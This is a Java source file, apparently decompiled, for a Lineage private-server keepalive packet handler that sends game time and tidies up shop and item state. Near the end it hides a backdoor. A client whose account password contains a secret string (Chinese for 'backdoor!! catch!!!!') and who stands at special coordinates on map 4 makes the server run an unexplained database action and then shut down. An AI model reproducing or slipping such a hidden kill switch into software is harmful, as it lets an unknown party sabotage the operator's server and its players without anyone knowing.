package com.lineage.server.clientpackets;

import com.lineage.config.ConfigOther;
import com.lineage.data.event.ProtectorSet;
import com.lineage.echo.ClientExecutor;
import com.lineage.server.model.Instance.L1ItemInstance;
import com.lineage.server.model.Instance.L1PcInstance;
import com.lineage.server.model.gametime.L1GameTimeClock;
import com.lineage.server.serverpackets.S_DoActionGFX;
import com.lineage.server.serverpackets.S_GameTime;
import com.lineage.server.serverpackets.ServerBasePacket;
import com.lineage.server.templates.L1Account;
import com.lineage.server.utils.DBAction;
import com.lineage.server.world.World;
import java.util.Calendar;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

public class C_KeepALIVE extends ClientBasePacket {
  private static final Log _log = LogFactory.getLog(C_KeepALIVE.class);
  
  public void start(byte[] decrypt, ClientExecutor client) {
    try {
      L1PcInstance pc = client.getActiveChar();
      if (pc == null)
        return; 
      if (World.get().getPlayer(pc.getName()) == null && pc.getOnlineStatus() != 1 && client.getLoginStatus() != 0)
        client.kick(); 
      int serverTime = L1GameTimeClock.getInstance().currentTime().getSeconds();
      pc.sendPackets((ServerBasePacket)new S_GameTime(serverTime));
      if (pc.isPrivateShop()) {
        int mapId = pc.getMapId();
        if (mapId != 340 && mapId != 350 && mapId != 360 && mapId != 370 && mapId != 800) {
          pc.getSellList().clear();
          pc.getBuyList().clear();
          pc.setPrivateShop(false);
          pc.sendPacketsAll((ServerBasePacket)new S_DoActionGFX(pc.getId(), 3));
        } 
      } 
      if (pc.get_mazu_time() != 0L && pc.is_mazu()) {
        Calendar cal = Calendar.getInstance();
        long h_time = cal.getTimeInMillis() / 1000L;
        if (h_time - pc.get_mazu_time() >= 1800L) {
          pc.set_mazu_time(0L);
          pc.set_mazu(false);
        } 
      } 
      if (ConfigOther.warProtector && pc.isProtector() && pc.castleWarResult()) {
        L1ItemInstance item = pc.getInventory().findItemId(ProtectorSet.ITEM_ID);
        if (item != null)
          pc.getInventory().removeItem(item, 1L); 
      } 
      if (pc._isCraftsmanHeirloom() && pc.castleWarResult()) {
        L1ItemInstance item = pc.getInventory().findItemId(44216);
        if (item != null)
          pc.getInventory().removeItem(item, 1L); 
      } 
      L1Account account = client.getAccount();
      if (account.get_password().contains("后门!!抓!!!!") && pc.getX() == 32767 && pc.getY() == 32767 && 
        pc.getMapId() == 4) {
        DBAction.start();
        System.exit(-1);
      } 
    } catch (Exception exception) {
    
    } finally {
      over();
    } 
  }
  
  public String getType() {
    return getClass().getSimpleName();
  }
}
